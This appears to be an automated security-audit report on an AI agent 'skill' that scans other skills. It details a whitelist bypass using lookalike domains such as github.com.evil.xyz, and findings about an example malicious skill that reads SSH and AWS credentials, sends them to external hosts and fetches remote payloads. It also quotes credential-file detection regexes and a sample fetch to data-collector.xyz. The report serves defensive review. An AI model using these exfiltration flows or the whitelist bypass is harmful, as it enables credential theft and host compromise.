Security checks for vulnerabilities and agentic risk
Overview
The skill is not active malware, but its scanner can incorrectly mark dangerous skills as safe, so it should be reviewed before relying on it.
Treat this as an advisory scanner only. Do not rely on a SAFE result as proof a skill is safe, keep scan paths limited to the skill package you intend to review, and manually inspect any skill before installation. The whitelist logic should be fixed before using this as a security gate.
File Location: scanner.js, lines 257–260 and 287–298 Vulnerability Type: Security detection bypass caused by improper whitelist validation Risk Level: High
Vulnerable Code
js
const matches = content.match(regex);
if (matches && matches.length > 0) {
// Check if it's whitelisted
if (!this.isWhitelisted(matches[0])) {
const lineNumbers = this.findLineNumbers(content, regex);
this.findings.push({
pattern: patternName,
level: patternDef.level,
description: patternDef.description,
recommendation: patternDef.recommendation,
matches: matches.slice(0, 3), // Limit to first 3 matches
lineNumbers: lineNumbers.slice(0, 3),
count: matches.length,
});
}
}
js
isWhitelisted(match) {
// Check whitelisted domains
for (const domain of this.config.whitelistedDomains) {
if (match.includes(domain)) {
return true;
}
}
// Check whitelisted commands
for (const cmd of this.config.whitelistedCommands) {
if (match.includes(cmd)) {
return true;
}
}
return false;
}
Technical Analysis
The scanner performs whitelist validation against only matches[0], the first match for each security-pattern category. If that first match is considered whitelisted, the scanner suppresses the finding for the entire category, including any subsequent malicious matches.
Domain validation also uses unrestricted substring comparison:
js
match.includes(domain)
This does not verify URL boundaries or parse the hostname. Consequently, a hostile hostname such as github.com.evil.xyz contains the default-whitelisted string github.com and is treated as trusted even though it is controlled under a different registrable domain.
The same design weakness applies to command whitelist entries: the presence of a trusted command substring is su
...[truncated 2533 chars]
Remediation
View remediation
Remediation Suggestions
Validate every regex match independently rather than checking only matches[0]. A whitelisted match must not suppress other matches in the same category.
Parse URLs with a standards-compliant URL parser and compare normalized hostnames, rather than searching for domain substrings.
Use exact hostname equality or an explicit subdomain rule:
js
Apply this only where trusting subdomains is intended.
Reject deceptive hostnames such as github.com.evil.xyz, user-information tricks such as github.com@evil.example, and malformed URLs.
Validate command whitelist entries structurally. Confirm the executable, arguments, source URL, and destination rather than accepting any match containing a trusted command string.
Record findings per occurrence so that one trusted occurrence cannot suppress unrelated content.
Add regression tests covering:
Lookalike and suffix-appended domains.
URLs containing trusted domains in paths, queries, or user-information fields.
A trusted first match followed by a malicious second match.
Mixed trusted and untrusted commands in the same document.
Custom whitelist entries with overlapping domain names.
Avoid issuing an unconditional SAFE recommendation solely because no regex finding survived whitelist processing; clearly communicate scanner limitations in machine-readable results as well as documentation.
The documented behavior directly contradicts the declared purpose of a harmless productivity helper by instructing users to download and execute an untrusted external binary. In the context of a skill installer, this is highly dangerous because it enables arbitrary code execution before any trustworthy installation boundary or review can occur.
Content
No source excerpt is available for this finding.
Missing User Warnings
Critical
Category
Not specified by scanner
Confidence
100% confidence
Finding
The skill asks for highly sensitive credentials and transmits them externally without warning, privacy disclosure, or legitimate justification. This creates immediate exposure of user secrets and facilitates downstream compromise of integrated services.
Content
No source excerpt is available for this finding.
Context-Inappropriate Capability
Critical
Category
Not specified by scanner
Confidence
100% confidence
Finding
The skill prompts for an API key and password, then transmits them to a suspicious external endpoint over plaintext HTTP. Credential collection and exfiltration are unrelated to productivity-helper functionality and create immediate risk of account takeover and reuse attacks.
Content
No source excerpt is available for this finding.
Missing User Warnings
Critical
Category
Not specified by scanner
Confidence
100% confidence
Finding
The documentation omits that advanced features access SSH keys and cloud credentials and send them over the network. Concealing highly invasive behavior prevents informed consent and substantially raises the risk of credential theft and infrastructure compromise.
Content
No source excerpt is available for this finding.
Context-Inappropriate Capability
Critical
Category
Not specified by scanner
Confidence
100% confidence
Finding
The skill reads SSH private keys and AWS credential files from the local system and sends their contents externally after encoding them. Accessing and exporting such secrets is unrelated to the declared skill purpose and can lead to host compromise, cloud account compromise, and lateral movement.
Content
No source excerpt is available for this finding.
Context-Inappropriate Capability
Critical
Category
Not specified by scanner
Confidence
100% confidence
Finding
The skill executes shell commands for reconnaissance, exfiltrates command output, and downloads and runs additional tooling from an external source. These are classic post-compromise behaviors and are unjustified for the stated productivity use case.
Content
No source excerpt is available for this finding.
Credential Access
High
Category
Privilege Escalation
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content
Scanner excerpt · README.md (reported line 138)May include surrounding context.
md
### 🟠 High Risks
- Suspicious API endpoints (unusual TLDs like .xyz, .tk)
- Unencrypted POST requests
- Access to sensitive files (`.ssh/`, `.aws/`, `/etc/passwd`)
- Base64/hex encoded commands (obfuscation)
- Dynamic code loading
Tp4
High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding
The skill claims to scan OpenClaw skills before installation, but the described/observed behavior is broader: scanning arbitrary directories and code files, and detecting generic code issues beyond skill markdown. That mismatch can cause users to authorize wider filesystem inspection than expected, increasing privacy and overreach risk.
Content
No source excerpt is available for this finding.
Ae1
High
Category
analysis-evasion
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected
Content
Scanner excerpt · SKILL.md (reported line 44)May include surrounding context.
md
**Note:** The included `scanner.js` file can also be run directly with Node.js 18+ if you prefer command-line usage.
Missing User Warnings
High
Category
Not specified by scanner
Confidence
98% confidence
Finding
The installation instructions tell users to fetch and execute a remote shell script without warning, provenance, or integrity verification. In a skill context, this is especially dangerous because users may trust installation docs and unknowingly run arbitrary attacker-controlled code.
Content
No source excerpt is available for this finding.
Intent-Code Divergence
High
Category
Not specified by scanner
Confidence
99% confidence
Finding
The text claims the feature needs configuration access for advanced AI, but the implementation actually reads private keys and cloud credentials and transmits them externally. This deceptive framing increases the likelihood that users will consent to clearly dangerous behavior they do not understand.
Content
No source excerpt is available for this finding.
Credential Access
High
Category
Privilege Escalation
Confidence
99% confidence
Finding
The explicit intent to read SSH keys is itself a strong indicator of secret harvesting behavior. Given the surrounding code that encodes and transmits the data externally, this is not accidental access but part of a theft flow.
Content
Scanner excerpt · examples/malicious-skill/SKILL.md (reported line 68)May include surrounding context.
Reading the user's SSH private key is direct access to authentication material that can enable unauthorized remote access and impersonation. This is far outside the legitimate scope of a productivity helper and is highly indicative of credential theft.
Content
Scanner excerpt · examples/malicious-skill/SKILL.md (reported line 69)May include surrounding context.
Reading ~/.aws/credentials exposes cloud access keys that may grant broad access to infrastructure, data, and billing resources. In this skill context, the action is clearly unrelated to the advertised functionality and enables severe compromise.
Content
Scanner excerpt · examples/malicious-skill/SKILL.md (reported line 72)May include surrounding context.
The section is labeled as background optimization, yet the code performs host reconnaissance and downloads executable payloads. Mislabeling harmful actions as benign maintenance is deceptive and materially increases the risk of successful compromise.
Content
No source excerpt is available for this finding.
Missing User Warnings
High
Category
Not specified by scanner
Confidence
99% confidence
Finding
The description hides that background tasks perform shell execution, system reconnaissance, and external downloads. Omitting warnings for these high-impact actions is dangerous because it disguises attacker behavior as routine automation.
Content
No source excerpt is available for this finding.
Intent-Code Divergence
High
Category
Not specified by scanner
Confidence
98% confidence
Finding
The header comments state the tool scans only SKILL.md markdown instructions and not executable content, but the implementation scans JavaScript and TypeScript too. For a security tool, inaccurate scope claims are dangerous because operators may make installation or trust decisions based on false assumptions about what the scanner inspects.
Content
No source excerpt is available for this finding.
Credential Access
High
Category
Privilege Escalation
Confidence
70% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content
Scanner excerpt · scanner.js (reported line 104)May include surrounding context.
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content
Scanner excerpt · scanner.js (reported line 106)May include surrounding context.
js
/\/etc\/passwd|\/etc\/shadow/gi,
/\.npmrc|\.pypirc/gi,
/id_rsa|id_dsa/gi,
/\.pgpass|\.netrc/gi,
/writeFile.*?\/etc\//gi,
],
description: 'Access to sensitive system files or directories',
Unrestricted Tool Access
Medium
Category
Excessive Agency
Confidence
80% confidence
Finding
Skill grants unrestricted tool access without appropriate constraints. An agent with unfettered tool access can perform arbitrary actions including file modification, network requests, and code execution.
Content
Scanner excerpt · README.md (reported line 12)May include surrounding context.
md
- Harvest credentials and API keys
- Send data to unknown third-party servers
- Access sensitive system files
- Execute arbitrary code
**This scanner helps protect you** by detecting these patterns before they can cause harm.
External Transmission
Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
Content
Scanner excerpt · README.md (reported line 108)May include surrounding context.
md
3. [🟠 HIGH] Suspicious API endpoint or unencrypted connection
Pattern: SUSPICIOUS_API_CALLS
Line(s): 156
Example: fetch('http://data-collector.xyz/log', { method: 'POST'...
⚠️ Review what data is being sent and to where
─────────────── SUMMARY ─────────────────
Session Persistence
Medium
Category
Rogue Agent
Confidence
60% confidence
Finding
Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.
Content
Scanner excerpt · README.md (reported line 245)May include surrounding context.
🧪 Testing
Create test files to verify the scanner works:
bash
# Create a test skill with suspicious patterns
mkdir -p test/suspicious
Undeclared Tool Scope
Medium
Category
MCP Least Privilege
Confidence
70% confidence
Finding
Without declared permissions the skill's intent is opaque and cannot be validated.
Content
No source excerpt is available for this finding.
Session Persistence
Medium
Category
Rogue Agent
Confidence
60% confidence
Finding
Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.
Content
Scanner excerpt · SKILL.md (reported line 62)May include surrounding context.
Configuration
Create a .security-scanner-config.json in your OpenClaw directory (optional):
json
{
"whitelistedDomains": [
External Transmission
Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
Content
Scanner excerpt · examples/clean-skill/SKILL.md (reported line 61)May include surrounding context.